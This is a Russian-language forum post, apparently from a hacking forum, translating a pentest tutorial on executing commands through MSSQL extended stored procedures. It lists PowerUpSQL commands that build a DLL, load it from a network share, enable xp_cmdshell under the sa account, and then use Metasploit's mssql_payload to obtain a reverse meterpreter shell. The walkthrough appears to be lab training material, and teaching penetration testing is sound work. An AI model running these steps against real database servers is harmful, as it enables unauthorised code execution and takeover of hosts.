• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья MSSQL для пентестера: выполнение команд с расширенными хранимыми процедурами

yashechka

Генератор контента.Фанат Ильфака и Рикардо Нарвахи
Эксперт
Регистрация
24.11.2012
Сообщения
2 344
Реакции
3 563
Расширенные хранимые процедуры - это файлы DLL, на которые SQL Server ссылается путем создания расширенной хранимой процедуры, которая затем ссылается на функции или процедуры в этой DLL. Библиотеки DLL, стоящие за расширенными хранимыми процедурами, обычно создаются на языке более высокого уровня, таком как C или C++. Расширенные хранимые процедуры выполняются внутри SQL Server, что означает, что код выполняется в пространстве памяти SQL Server. Таким образом, DLL может иметь расширение любого типа и загружаться по пути UNC или через Webdav.

Использование расширенных хранимых процедур с помощью PowerupSQL

Создание DLL для добавления в базу данных SQL

Import-Module .\Powerupsql.ps1
Create-SQLFileXpDll -OutFile C:\fileserver\xp_calc.dll -Command "calc.exe" -ExportName xp_calc


С помощью Powerupsql мы создали файл dll на нашем локальном компьютере (Windows 10).

1641206626976.png


Регистрация dll из нашей системы

Чтобы создать или зарегистрировать расширенную хранимую процедуру, логин, который пользователь использует для входа в базу данных, должен быть членом фиксированной административной серверной роли.

Обычно расширенная хранимая процедура создается с именем, начинающимся с xp_ или sp_, чтобы ядро базы данных автоматически искало объект в базе данных master, если в базе данных пользователя не было объекта с таким именем.

Get-SQLQuery -UserName sa -Password Password@1 –Instance WIN-P83OS778EQK\SQLEXPRESS –Query "sp_addextendedproc 'xp_calc', '\\192.168.1.145\fileshare\xp_calc.dll'"

1641206656846.png


Список существующих расширенных хранимых процедур

Get-SQLStoredProcedureXP -Username sa -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS -Verbose


На приведенном ниже изображении показано имя базы данных "master", из которого завершается процесс сохранения. Кроме того, команда выдала Type_desc, имя, текст.

1641206689229.png

Расширенные хранимые процедуры всегда создаются в базе данных master, но на них можно ссылаться из любой базы данных.

1641206707842.png


Выполнение хранимых процедур

Get-SQLQuery -UserName sa -Password Password@1 –Instance WIN-P83OS778EQK\SQLEXPRESS –Query "select @@version" -Verbose

1641206846598.png


Включение оболочки XP_
CMD

По умолчанию XPCmdShell отключен, как показано на изображении.

1641206859497.png


С привилегированной учетной записью злоумышленник создает новую хранимую процедуру и пытается включить xpcmdshell с помощью следующей команды.

Get-SQLQuery -UserName sa -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS -Query "EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;')" -Verbose

1641206882864.png


XP_CMD удаленное выполнение кода оболочки


После включения xpcmdshell мы можем использовать Metasploit для выполнения следующего модуля, чтобы получить реверс оболочку.

use exploit/windows/mssql/mssql_payload
set rhosts 192.168.1.146
set password Password@1
exploit

1641206899533.png


Эксплойт не ограничивается простым включением командной оболочки XP. Затем он запускает серию команд, которые могут помочь нам получить оболочку meterpreter на целевой машине, как показано на изображении ниже.

Узнайте больше о XPCmdshell здесь https://www.hackingarticles.in/mssql-for-pentester-command-execution-with-xp_cmdshell/ .

1641206909035.png


Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/mssq...nd-execution-with-extended-stored-procedures/
 

Вложения

  • 1641206718065.png
    1641206718065.png
    45.3 КБ · Просмотры: 4


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх